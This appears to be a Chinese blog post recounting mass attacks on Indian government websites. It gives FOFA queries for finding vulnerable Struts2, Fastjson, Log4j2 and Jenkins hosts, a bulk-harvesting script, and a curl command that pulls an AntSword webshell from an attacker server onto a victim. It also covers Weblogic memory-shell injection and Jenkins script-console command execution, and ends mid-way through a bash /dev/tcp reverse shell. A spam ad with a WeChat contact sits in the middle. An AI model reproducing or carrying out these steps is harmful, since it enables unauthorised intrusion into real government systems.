0x01、信息收集阶段
注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/
一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集- host="gov.in" && country="IN"
复制代码
哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想。
试着写了个脚本看看:- import pythonfofa
- import csv
-
- filename = "IN_domain.csv"
-
- email = 'u_mail'
- key = 'u_API_KEY'
- search = pythonfofa.Client(email, key)
- get_data = search.search('host="gov.in" && country="IN"', size=70000)
- # print(get_data)
-
- requests = [result[1] for result in get_data['results']]
- print(requests)
- # 打开CSV文件并设置写入模式
- with open(filename, "w", newline="") as file:
- writer = csv.writer(file)
-
- # 遍历请求列表
- for request in requests:
- # 在控制台打印域名
- print(request)
-
- # 检测域名是否包含"http://"
- if not request.startswith("http://") and not request.startswith("https://"):
- # 如果不包含,则在域名前添加"http://"
- request = "http://" + request
-
- # 在域名后添加斜杠"/"
- request += "/"
-
- # 将请求和值"1"作为一行写入CSV文件
- writer.writerow([request, 1])
复制代码 是的,肯定不能跑,下断点,调试看看

很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫
主流框架的相关漏洞的FOFA规则语句:
Fastjson- app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")
复制代码 Struts2- app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")
复制代码 Log4j2- (app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443"))
复制代码 其他的也都大同小异,照葫芦画瓢就行。

目标站点收集差不多了,就是漏洞探测阶段了。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
0x02、漏洞探测及利用
Struts2:
直接掏出大范围漏扫AWVS就行批量漏洞探测:

第一天数据就直接起飞,因为本次目标是==getshell==直接忽略中低危漏洞告警,查看高危漏洞:

很好一堆==Struts2==漏洞,直接上工具:

得到一个RCE(远程命令执行漏洞),远程写入==shell==,先利用工具生成一个==Antsword(蚁剑)jsp格式的shell==

将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/

直接执行- curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp
复制代码 然后webshell工具Antsword连接即可:

爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________。
Weblogic:

很好用的awvs,直接上工具注入内存马:

冰蝎连接webshell:

同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》
(PS:这个时候已经有些疲软了,没有去手测upload的点)
Jenkins:
中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA:- (app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443")
复制代码
一看86条资产,有戏,数量不多,直接手测:

存在未授权,访问manager --> script页面,进行命令执行测试:- println "ls -al".execute().text
复制代码
存在命令执行,尝试反弹shell:
[code]println "bash -i >& /dev/tcp/ip/port 0 |